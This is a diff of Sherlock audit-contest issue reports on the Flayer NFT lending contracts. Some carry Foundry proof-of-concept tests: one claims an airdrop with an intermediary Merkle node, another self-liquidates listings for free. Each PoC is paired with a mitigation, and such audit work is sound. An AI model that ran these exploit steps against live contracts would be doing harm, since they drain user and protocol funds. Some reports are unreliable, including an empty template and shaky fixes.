+ // 0xc3338f97d3e72c881e2aabefc2ac0161bf5927649ae9333027e85565c82fbbba -- merkle root
+
+ //@audit hashed raw data for address(1)
+ // emit log_bytes32(keccak256(abi.encode(IAirdropRecipient.MerkleClaim(address(1), address(erc20), 0, 1 ether))));
+ // 0x9e6a01866327b729a94cd8c6fc0ae0d817f810bb08c0d14e8020d3093e1b6138
+
+ //@audit hashed raw data for address(2)
+ // emit log_bytes32(keccak256(abi.encode(IAirdropRecipient.MerkleClaim(address(2), address(erc20), 0, 3 ether))));
+ // 0xb8ed74468db61e063ea2bf844378feb9811fab1b3e2e9ce598339f9ca02be17f
+
+ //@audit hashed raw data for address(4)
+ // emit log_bytes32(keccak256(abi.encode(IAirdropRecipient.MerkleClaim(address(4), address(erc20), 0, 5 ether))));
+ // 0xbd072f74f9ec98e1d63241cb61acfe2c303694af91970a1031766c142e702389
+```
+
+If we take the 3 outputs of the hashes and put them into the website indicated in the docs https://lab.miguelmota.com/merkletreejs/example/ and we reconstruct the Merkle tree, we'll get the same Merkle root as the one above `0xc3338f97d3e72c881e2aabefc2ac0161bf5927649ae9333027e85565c82fbbba `.
+
+To do this you need to go to the link above, input the 3 hashes in the same order as in the print screen below, toggle `keccak256` on, and untick everything else.
+The Merkle tree was created based on the hashes of the raw data, this is why we need to untick everything else, as shown in the print screen below. If you toggle anything else on, you'll get a different Merkle root and the tests won't work.
+![Screenshot 2024-09-13 233601](https://github.com/user-attachments/assets/f8884bb7-2545-4fb2-abd9-043dee47d0ba)
+
+![Screenshot 2024-09-13 235001](https://github.com/user-attachments/assets/4cb8ed5b-9154-45da-9915-c790794e3a77)
+
+You can see our Merkle tree above which was constructed based on the hashed raw data from the sponsor's test files.
+
+Put this test into the `AirdropRecipient.t.sol` file and run it.
+
+```solidity
+ function test_claimWithIntermediaryNodeInput() public {
+ _setupMerkle();
+
+ bytes32[] memory newProof = new bytes32[](1);
+ newProof[0] = 0x4f77c2f624aaebc44e3f5fdc4fbc6000b865a9832d87a25e73758036bf0724fa;
+
+ locker.claimAirdrop({
+ _merkle: 0xc3338f97d3e72c881e2aabefc2ac0161bf5927649ae9333027e85565c82fbbba,
+ _claimType: Enums.ClaimType.ERC20,
+ _node: IAirdropRecipient.MerkleClaim({
+ recipient: address(4),
+ target: address(erc20),
+ tokenId: 0,
+ amount: 5 ether
+ }),
+ _merkleProof: newProof
+ });
+
+ // Confirm that our user holds the expected tokens
+ assertEq(erc20.balanceOf(address(4)), 5 ether);
+ }
+```
+
+Test output
+
+```javascript
+ │ ├─ emit AirdropClaimed(_merkle: 0xc3338f97d3e72c881e2aabefc2ac0161bf5927649ae9333027e85565c82fbbba, _claimType: 0, _claim: MerkleClaim({ recipient: 0x0000000000000000000000000000000000000004, target: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, tokenId: 0, amount: 5000000000000000000 [5e18] }))
+ │ └─ ← [Stop]
+ ├─ [560] ERC20Mock::balanceOf(0x0000000000000000000000000000000000000004) [staticcall]
+ │ └─ ← [Return] 5000000000000000000 [5e18]
+ ├─ [0] VM::assertEq(5000000000000000000 [5e18], 5000000000000000000 [5e18]) [staticcall]
+ │ └─ ← [Return]
+ └─ ← [Stop]
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.98ms (564.18µs CPU time)
+
+Ran 1 test suite in 626.21ms (10.98ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+In the PoC, the `newProof` variable contains the `intermediary node` hash marked with red in the print screen above, which allows us to call the `claimAirdrop` function. This demonstrates that the contract does not explicitly prevent the submission of intermediary nodes as leaf nodes and it's not resistant to the "Second Preimage Attack" vulnerability as described in the RareSkills article.
+
+While the PoC appears to succeed in claiming the tokens for `address(4)`, the actual real-world implementation of an airdrop mechanism may be different than the one that we have in the test files. Allowing intermediary nodes to be passed in as leaf nodes is not a secure way of verifying Merkle proofs.
+
+### Mitigation
+
+***1. [Double hash leaf nodes:](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L121)*** As recommended by OpenZeppelin, apply a double `keccak256` hashing to the input data before verifying it against the Merkle root. This is the equivalent of using a different hash function for the leaf nodes and this approach ensures that even if a user tries to submit `intermediary nodes` as leaves, they will not match the expected root. If you change this line of code as shown below, the test that I shared previously will fail, meaning that the function will not accept intermediary nodes as leaf nodes anymore.
+
+```diff
+ function claimAirdrop(...) public {
+//..
+- bytes32 nodeHash = keccak256(abi.encode(_node));
++ bytes32 nodeHash = keccak256(bytes.concat(keccak256(abi.encode(_node))));
+//..
+ }
+```
+
+***2. Consider adding ownership check:*** To further restrict this function, an extra check can be added to enforce that only the intended airdrop `recipient` can claim a particular airdrop. This will block users from claiming from a different address though. If a user has multiple addresses, they'll need to claim from the one that was set as `_node.recipient` if they want the airdrop.
+
+```diff
+ function claimAirdrop(,, MerkleClaim calldata _node,) public {
++ if (msg.sender != _node.recipient) revert NotAirdropOwner();
+//..
+//..
+ }
+```
diff --git a/344.md b/344.md
new file mode 100644
index 0000000..f6bc63b
--- /dev/null
+++ b/344.md
@@ -0,0 +1,87 @@
+Clean Snowy Mustang
+
+High
+
+# No check if floorMultiplier is the same as expected when filling a listing
+
+## Summary
+No check if floorMultiplier is the same as expected when filling a listing.
+
+## Vulnerability Detail
+
+When user fills a listing, they only need to specify the collection address and the token ids to be filled.
+
+```solidity
+ /**
+ * The tokenIds that are being filled against, grouped by the owner of each
+ * listing. This grouping is used to optimise gas.
+ *
+ * @member collection The collection address of the tokens being filled
+ * @member tokenIdsOut The tokenIds being filled, grouped by owner
+ */
+ struct FillListingsParams {
+ address collection;
+ uint[][] tokenIdsOut;
+ }
+```
+
+At the same time though, the listing can be modified by the owner by calling [modifyListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303). More preciously, the owner can update the listing's `duration` and `floorMultiple`.
+
+```solidity
+ // Check if we are altering the duration of the listing
+ if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+ listing.created = uint40(block.timestamp);
+@> listing.duration = params.duration;
+ }
+
+ // Check if the floor multiple price has been updated
+ if (params.floorMultiple != listing.floorMultiple) {
+ // If we are creating a listing, and not performing an instant liquidation (which
+ // would be done via `deposit`), then we need to ensure that the `floorMultiple` is
+ // greater than 1.
+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ emit ListingFloorMultipleUpdated(_collection, params.tokenId, listing.floorMultiple, params.floorMultiple);
+
+@> listing.floorMultiple = params.floorMultiple;
+ }
+
+ // Get the amount of tax required for the newly extended listing
+ taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+```
+
+Therefore it's possible that the listing's `floorMultiple` is updated to a higher value after the filling transaction is submitted but before it is actually executed. This can happen in different scenarios:
+1. Transaction pending for too long in mempool;
+2. Front-run by a malicious user, please note **even if in Base chain mempool is private, front-running is not totally impossible**. Some Base Node operators may allow requests to the txpool_content endpoint, which enabled viewing transactions in their shared mempool prior to them being forwarded to the private Base sequencer transaction pool, see more details [here](https://discord.com/channels/1067165013397213286/1135298514667192460/1143519438163943444).
+
+As a result, user who fills the listing may suffer a bad trade.
+
+## Impact
+
+The listing can be filled with a higher price than expected.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Allow user to specify a floor multiplier they expect, and revert the transaction if the actual floor multiplier is larger than expected.
+
+[Listings.sol#L528](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528):
+```diff
+- function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
++ function fillListings(FillListingsParams calldata params, uint256 floorMultiplier) public nonReentrant lockerNotPaused {
+```
\ No newline at end of file
diff --git a/354.md b/354.md
new file mode 100644
index 0000000..9fcdb89
--- /dev/null
+++ b/354.md
@@ -0,0 +1,135 @@
+Crazy Chiffon Spider
+
+High
+
+# Lockbox listings can be self-liquidated for Free, allowing all floor deposits to be placed into Liquidation Dutch Listings.
+
+## Summary
+The `reserve()` function in `Listings.sol` can be called for free for **floor NFTs** deposited into `Locker.sol`. This allows someone to list all of the NFTs deposited into `Locker.sol` via `deposit()` for **floor value** and place them in an **infarable position** that will soon liquidate, leading to **Dutch auctions** starting with very unrealistic prices, as liquidation **Dutch auctions** start with a **4x floorMultiplier**.
+
+This can also happen without using `reserve()`, as one can call `redeem()` in `Locker.sol`. Then go to ProtectedListings and create a protected listing with the max borrow amount, and then self-liquidate.
+
+## Vulnerability Detail
+This issue arises because our `max borrow amount` [0.95] + `keep reward` [0.05] equals the value of the NFT = 1 CT or 1 floor price.
+
+The reserve operation is essentially a quick way to do it. It "buys/redeems" the floor priced NFT and then creates a LockBox/ProtectedListing.
+The minimum collateral for reserve() is `0.05e18`, because for a LockBox, the maximum borrowable amount is `0.95e18`, defined by the `MAX_PROTECTED_TOKEN_AMOUNT` constant in ProtectedListings, validated [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L230).
+
+```solidity
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+@>> tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+```
+So we can essentially recover those `0.05 CT` from the `KEEPER_REWARD`.
+
+### Exploit Process:
+1. A bad actor calls `reserve()` and deposits **0.05e18** collateral to create a listing, since collateral is the minimum the listing is **very close to liquidation**.
+2. The bad actor submits another transaction, calling `liquidateProtectedListing()`, which is possible as the position is now unhealthy due to the compound fees applied even with just **1 second delay**.
+3. The bad actor earns the **KEEPER_REWARD**, which is **0.05e18** and is paid immediately. This means they effectively pay **only gas fees**, which are low on the **Base L2**, where the protocol is deployed.
+4. The bad actor can repeat this process in **chunks** by submitting only **2 transactions** but reserving all the NFTs deposited in `Locker.sol` and listing them as liquidation listings.
+
+### Coded PoC
+Add this to Listings.t.sol and use `forge test --match-test test_VectorFreeLiqudationListing -vvvv`
+```solidity
+ function test_VectorFreeLiqudationListing() public {
+ //===========Setup===========
+ listings.setProtectedListings(address(protectedListings));
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ assertEq(token.denomination(), 0);
+
+ address randomNFTOwner = address(0x77);
+ uint _tokenId = 2555;
+ erc721a.mint(randomNFTOwner, _tokenId);
+
+ address maliciousActor = address(0x78);
+ deal(address(token), maliciousActor, 1 ether);
+
+ // Balance Delta tracking
+ uint startBalanceMaliciousActor = token.balanceOf(maliciousActor);
+ assertEq(startBalanceMaliciousActor, 1 ether);
+ //===========Setup===========
+
+ vm.startPrank(randomNFTOwner);
+
+ erc721a.approve(address(locker), _tokenId);
+ locker.deposit(address(erc721a), _tokenIdToArray(_tokenId));
+
+ vm.stopPrank();
+
+ // Malicious actor liquidates floor listing for free.
+ vm.startPrank(maliciousActor);
+
+ // First reserve it.
+ token.approve(address(listings), 0.05 ether);
+ listings.reserve({
+ _collection: address(erc721a),
+ _tokenId: _tokenId,
+ _collateral: 0.05 ether
+ });
+
+ // 1 second later submit another transaction
+ // Note: this can be scalled by reserving multiple NFTs in the first transaction and liquidating them in the second one.
+ skip(1);
+
+ // Liquidate the listing
+ protectedListings.liquidateProtectedListing(address(erc721a), _tokenId);
+
+ // Assert no loss of funds for the malicious actor
+ assertEq(token.balanceOf(maliciousActor), startBalanceMaliciousActor);
+
+ // Skip 5 days to bring the liquidation listing to lower floor multiple again.
+ skip(5 days);
+
+ //Repeat the process, but now reserve the liquidation listing. ( we have to use different address, but this is not a problem)
+ address maliciousActor2 = address(0x79);
+ deal(address(token), maliciousActor2, 1 ether);
+
+ vm.startPrank(maliciousActor2);
+
+ token.approve(address(listings), 0.05 ether);
+ listings.reserve({
+ _collection: address(erc721a),
+ _tokenId: _tokenId,
+ _collateral: 0.05 ether
+ });
+
+ skip(1);
+
+ protectedListings.liquidateProtectedListing(address(erc721a), _tokenId);
+ //Bad actor did not lose any balance
+ assertEq(token.balanceOf(maliciousActor2), 1 ether);
+ }
+```
+## Impact
+
+The potential consequences are as follows:
+1. **CollectionShutdown** requires 4 CT in totalSupply and no Protected, Liquid, or Dutch listings running. If an NFT is deposited in `Locker.sol`, a bad actor can essentially **DoS the shutdown**. The only way to rescue the shutdown would be for someone to **buy it with their CT**, but there's **no incentive** to do this, as the CT can be used later to claim rewards from NFTs sold on sudoswap.
+2. **Floor-priced NFTs** are valued at the floor for a reason. If this operation can be done **for free**, the process can be **repeated indefinitely**. After 4 days of high prices, the bad actor can repeat the process at no cost, keeping floor NFTs artificially **expensive** ( up to 4x floor price ):
+```solidity
+ _listings.createLiquidationListing(
+ IListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: listing.owner,
+ created: uint40(block.timestamp),
+@>> duration: 4 days,
+@>> floorMultiple: 400
+ })
+ })
+ );
+```
+
+## Tool Used
+
+**Manual Review**
+
+## Recommendation
+To avoid this problem, reduce the max borrow amount from `0.95 CT` to a lower value, like `0.9 CT`, or even lower.
+Then it will not be possible to do this operation for free.
\ No newline at end of file
diff --git a/355.md b/355.md
new file mode 100644
index 0000000..ed9e109
--- /dev/null
+++ b/355.md
@@ -0,0 +1,63 @@
+Raspy Raspberry Tapir
+
+High
+
+# Protected listing liquidation violates the spec and sends the keeper reward immediately
+
+### Summary
+
+[ProtectedListings::liquidateProtectedListing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L419-L484) has the following specification in the code comment above:
+
+```solidity
+/**
+ * Allows a user to liquidate a protected listing that has expired. This will then enter
+ * a dutch auction format and the caller will be assigned as the "keeper".
+ *
+ * When the dutch auction is filled, the keeper will receive the amount of token defined
+ * by the `KEEPER_REWARD` variable.
+ */
+```
+
+The function code violates this spec, and sends the keeper reward of `5%` of the collateral to the caller immediately. As the liquidated position is already underwater (i.e. the user has received or spent as taxes more than the token is worth), this means that `5%` is the immediate loss for the protocol / immediate gain for the caller, which not only violates the spec, but also contradicts common sense, and creates an incentive for self-liquidation.
+
+### Root Cause
+
+Despite the `ProtectedListings::liquidateProtectedListing` spec, and despite the fact that the token [is already underwater](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L430-L432)
+
+```solidity
+// Ensure that the protected listing has run out of collateral
+int collateral = getProtectedListingHealth(_collection, _tokenId);
+if (collateral >= 0) revert ListingStillHasCollateral();
+```
+
+the function [sends the keeper reward to the caller immediately](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L438-L439):
+
+```solidity
+// Keeper gets 0.05 as a reward for triggering the liquidation
+collectionToken.transfer(msg.sender, KEEPER_REWARD * 10 ** denomination);
+```
+
+### Internal pre-conditions
+
+The token in question needs to run out of collateral.
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+- Anyone (including bots) can monitor protected listings and submit such a transaction immediately as soon as any listing goes underwater.
+- Specifically for the token owner it is beneficial to self-liquidate, as no matter how deep underwater their token is, they still receive additionally `5%` of its value.
+
+### Impact
+
+Definite loss of funds: the protocol suffers immediate loss of `5%` of the token collateral value.
+
+### PoC
+
+Not required according to the rules
+
+### Mitigation
+
+Implement `ProtectedListings::liquidateProtectedListing` according to its specification, i.e. send the keeper reward only when the auction is filled.
\ No newline at end of file
diff --git a/357.md b/357.md
new file mode 100644
index 0000000..285ee7b
--- /dev/null
+++ b/357.md
@@ -0,0 +1,28 @@
+Able Candy Crane
+
+High
+
+# ERC20 Token Over-Minting in initializeCollection() of Locker contract
+
+## Summary
+The initializeCollection() function mints ERC20 tokens based on the number of NFTs deposited without checking the value or quality of the NFTs. This could allow an attacker to mint large quantities of ERC20 tokens by depositing low-value or fake NFTs.
+
+## Vulnerability Detail
+There are no checks in place to ensure that the NFTs being deposited are valuable or legitimate. The function mints ERC20 tokens based purely on the number of NFTs deposited, regardless of their actual value.
+
+## Impact
+Attackers could deposit low-value or fake NFTs and mint large amounts of ERC20 tokens, inflating the token supply.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399
+
+## Tool used
+Manual Review
+
+## Recommendation
+Add a value-check mechanism to ensure that tokens are only minted for legitimate and valuable NFTs. You can also add a cap to limit the number of tokens minted per transaction. Example update code is as follows.
+```solidity
+uint maxMintLimit = 1000 * 1 ether;
+require(tokens <= maxMintLimit, "Mint limit exceeded");
+```
+Additionally, implement a whitelist for approved NFT collections to ensure only legitimate NFTs are accepted.
\ No newline at end of file
diff --git a/358.md b/358.md
new file mode 100644
index 0000000..2fa4b48
--- /dev/null
+++ b/358.md
@@ -0,0 +1,77 @@
+Clean Snowy Mustang
+
+Medium
+
+# Listing owner may suffer bad a trade during the period when Locker is paused
+
+## Summary
+Listing owner may suffer bad a trade during the period when Locker is paused.
+
+## Vulnerability Detail
+
+When a listing is created, the listing owner is able to modify(adjust), cancel(unlock) the listing at any time they see fit to reduce fee/interst costs, and other users can also fill the listing when the price is good to them.
+
+However, all those are not possible when the Locker contract is paused, as the functions are guarded by `lockerNotPaused` modifier.
+
+[Listings.sol#L303](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303):
+```solidity
+ function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+```
+
+[Listings.sol#L414](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414):
+```solidity
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+```
+
+[Listings.sol#L528](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528):
+```solidity
+ function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
+```
+
+[ProtectedListings.sol#L287](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287):
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+```
+
+[ProtectedListings.sol#L366](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366):
+```solidity
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+```
+
+The problem is that when calculates fees/interests, the paused period is not took into consideration, and this has impacts to different types of listing:
+
+> LIQUID Listing
+
+When Locker contract is paused, user won't be able to modify or cancel a listing, they have to suffer the fees accrued during the period, and it may eventually change to a DUTCH listing, results in the listing cannot be cancelled and is filled with at floor price when Locker contract is unpaused.
+
+> DUTCH Listing
+
+The listing cannot be filled during paused period even if users want to, and it will be filled at floor price when Locker contract is unpaused.
+
+> Protected Listing
+
+User won't be able to unlock a protected listing or adjust the position in time, it will be liquidated eventually after Locker contract's paused period.
+
+## Impact
+
+See above.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+During paused period, fees and Interests should not be accrued, nor should the DUTCH price drop.
\ No newline at end of file
diff --git a/359.md b/359.md
new file mode 100644
index 0000000..dba9159
--- /dev/null
+++ b/359.md
@@ -0,0 +1,25 @@
+Able Candy Crane
+
+High
+
+# Unrestricted NFT Redemption in redeem() of Locker contact
+
+## Summary
+The redeem() does not verify whether the value of the NFTs being redeemed matches the number of ERC20 tokens burned.
+
+## Vulnerability Detail
+The function allows users to specify which NFTs they want to redeem without ensuring that the value of the NFTs corresponds to the ERC20 tokens being burned. An attacker could deposit low-value NFTs, accumulate ERC20 tokens, and redeem high-value NFTs.
+
+## Impact
+ Attackers could use low-value ERC20 tokens to redeem high-value NFTs, leading to significant financial loss for the contract.
+The lack of value matching between ERC20 tokens and NFTs could undermine the integrity of the system.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209-L230
+
+## Tool used
+Manual Review
+
+## Recommendation
+Implement a value-based redemption mechanism to ensure that the value of the ERC20 tokens burned matches the value of the NFTs being redeemed. You could introduce a whitelist of collections and enforce value-based equivalence:
+`require(tokensBurned >= nftValue(_collection, _tokenIds[i]), "Not enough tokens to redeem this NFT");`
\ No newline at end of file
diff --git a/366.md b/366.md
new file mode 100644
index 0000000..7b59abb
--- /dev/null
+++ b/366.md
@@ -0,0 +1,21 @@
+Great Malachite Fish
+
+Medium
+
+# If the tax is equal to the received tokens, the subtraction will result in tokensReceived being zero.
+
+## Summary
+The intention of a tax is to take a portion of the value, leaving the rest for further use (such as for the user or for staking). If the function ends up consuming all tokens as tax (leaving none), then there is no economic incentive for the user to create listings. This is more like a fee that takes everything—which doesn't align with the concept of taxation
+## Vulnerability Detail
+If taxRequired equals tokensReceived, after deducting the tax, tokensReceived would be zero.
+## Impact
+The current check (taxRequired > tokensReceived) prevents over-taxation but could potentially leave tokensReceived as zero.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L148-L152
+## Tool used
+
+Manual Review
+
+## Recommendation
+If the goal is to ensure that some tokens are left for the user post-taxation, you should modify the logic to prevent tokensReceived from being reduced to zero,
+ if (taxRequired >= tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
diff --git a/383.md b/383.md
new file mode 100644
index 0000000..758ec89
--- /dev/null
+++ b/383.md
@@ -0,0 +1,44 @@
+Cool Smoke Seagull
+
+High
+
+# Tax paid calculation is incorrect when cancelling a tokenid from listings/full tax paid is not transferred to feecollector when cancelling a tokenid.
+
+## Summary
+Tax paid calculation is incorrect when cancelling a tokenid from listings/full tax paid is not transferred from to feecollector when cancelling a tokenid. As a result, users may have to pay more tax than expected/tax paid may be stuck in the listings contact.
+
+## Vulnerability Detail
+1. Let's assume, a tokenid is listed and tax paid= 0.05 and listing.owner receives 0.95.
+
+2. Now the tokenid is cancelled from listings by calling the function cancelListings.
+
+3. See the function cancelListings, here assume refund= 0, so requiredAmount = 1-0 = 1 ether, so listing.owner have to pay 1 ether tax and 1 ether is burned from owner again. So the owner have to pay 2 ether to cancel the listing which is unfair.
+
+4. Here owner tax/fees = 0.05 ether, so the owner has to pay 0.05 tax and 1 ether should be burned from the owner. So total 1.05 ether should be paid by the owner for cancelling the tokenid which is fair.
+
+If listing.owner have to pay 1 ether tax(if it is intended) , then there is another bug, see below
+
+
+1.Let’s assume, a listed tokenid is cancelled by calling the function cancelListings.
+
+2. See the function cancelListings, refund = 0.2 ether(assume), so requiredAmount = 1 - 0.2 = 0.98 ether.
+
+3. Now 0.98 ether tax is paid by the owner and 0.98+0.2 = 1 ether is also burned from the owner.
+
+4. Here the bug is 0.98 ether(tax paid) is stuck in the Listings contract because paid tax is not sent to feecollector. There is also no way to withdraw/send paid tax(cancellation fee) to feecollector in the Listing contract.
+
+
+
+## Impact
+users may have to pay more tax than expected/tax paid may be stuck in the listings contact.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L451
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Calculate tax paid fairly when cancelling a tokenid/send the extra paid tax(cancellation fee) from listings contract to feecollector.
+
diff --git a/390.md b/390.md
new file mode 100644
index 0000000..a722456
--- /dev/null
+++ b/390.md
@@ -0,0 +1,37 @@
+Faint Saffron Ladybug
+
+Invalid
+
+# {actor} will {impact} {affected party}
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+_No response_
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/393.md b/393.md
new file mode 100644
index 0000000..5179229
--- /dev/null
+++ b/393.md
@@ -0,0 +1,65 @@
+Jovial Frost Porcupine
+
+Medium
+
+# wrong payable in "claimRoyalties"
+
+## Summary
+we are implementing wrong payable in claimRoyalties.As when we are transferring native ETHh by calling SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+## Vulnerability Detail
+ function claimRoyalties(address _recipient, address[] calldata _tokens) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // We can iterate through the tokens that were requested and transfer them all
+ // to the specified recipient.
+ uint tokensLength = _tokens.length;
+ for (uint i; i < tokensLength; ++i) {
+ // Map our ERC20
+ ERC20 token = ERC20(_tokens[i]);
+
+ // If we have a zero-address token specified, then we treat this as native ETH
+ if (address(token) == address(0)) {
+ @>> SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ } else {
+ SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+ }
+ }
+ }
+
+ */
+ function claimRoyalties(address _recipient, address[] calldata _tokens) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // We can iterate through the tokens that were requested and transfer them all
+ // to the specified recipient.
+ uint tokensLength = _tokens.length;
+ for (uint i; i < tokensLength; ++i) {
+ // Map our ERC20
+ ERC20 token = ERC20(_tokens[i]);
+
+ // If we have a zero-address token specified, then we treat this as native ETH
+ if (address(token) == address(0)) {
+ SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ } else {
+ SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+ }
+ }
+ }
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L157
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L130
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+@>>SafeTransferLib.safeTransferETH(payable(_recipient), (address(this)).balance);
+
\ No newline at end of file
diff --git a/401.md b/401.md
new file mode 100644
index 0000000..1101102
--- /dev/null
+++ b/401.md
@@ -0,0 +1,56 @@
+Jovial Frost Porcupine
+
+Medium
+
+# No check for the array length in returnFromTheThreshold
+
+## Summary
+No array length check in returnFromTheThreshold.As we are not checking whether collectionAddresses,dsToCross and amountsToCross.
+## Vulnerability Detail
+ function returnFromTheThreshold(
+ address[] calldata collectionAddresses,
+ uint[][] calldata idsToCross,
+ uint[][] calldata amountsToCross,
+ address recipient
+ ) external {
+ // Validate caller is cross-chain
+ if (msg.sender != L1_CROSS_DOMAIN_MESSENGER) {
+ revert NotCrossDomainMessenger();
+ }
+
+ // Validate caller comes from {InfernalRiftBelow}
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_BELOW) {
+ revert CrossChainSenderIsNotRiftBelow();
+ }
+
+ // Unlock NFTs to caller
+ uint numCollections = collectionAddresses.length;
+ uint numIds;
+
+ // Iterate over our collections and tokens to transfer to this contract
+ @>> for (uint i; i < numCollections; ++i) {
+ numIds = idsToCross[i].length;
+
+ for (uint j; j < numIds; ++j) {
+ if (amountsToCross[i][j] == 0) {
+ IERC721Metadata(collectionAddresses[i]).transferFrom(address(this), recipient, idsToCross[i][j]);
+ } else {
+ IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this), recipient, idsToCross[i][j], amountsToCross[i][j], '');
+ }
+ }
+ }
+
+ emit BridgeFinalized(address(INFERNAL_RIFT_BELOW), collectionAddresses, idsToCross, amountsToCross, recipient);
+ }
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L227
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+require(collectionAddresses.length==dsToCross.length);
+require(collectionAddresses.length==amountsToCross.length);
diff --git a/402.md b/402.md
new file mode 100644
index 0000000..e30c34f
--- /dev/null
+++ b/402.md
@@ -0,0 +1,106 @@
+Wobbly Neon Hyena
+
+High
+
+# Price limit is used as the price range in internal swaps, causing swap TXs to revert
+
+### Summary
+
+When initializing a swap on Uniswap V4, the user inputs a price limit that represents the sqrt price at which, if reached, the swap will stop executing, from [Uni V4 code](https://github.com/Uniswap/v4-core/blob/main/src/interfaces/IPoolManager.sol#L146-L153).
+```solidity
+struct SwapParams {
+ /// Whether to swap token0 for token1 or vice versa
+ bool zeroForOne;
+ /// The desired input amount if negative (exactIn), or the desired output amount if positive (exactOut)
+ int256 amountSpecified;
+ /// The sqrt price at which, if reached, the swap will stop executing
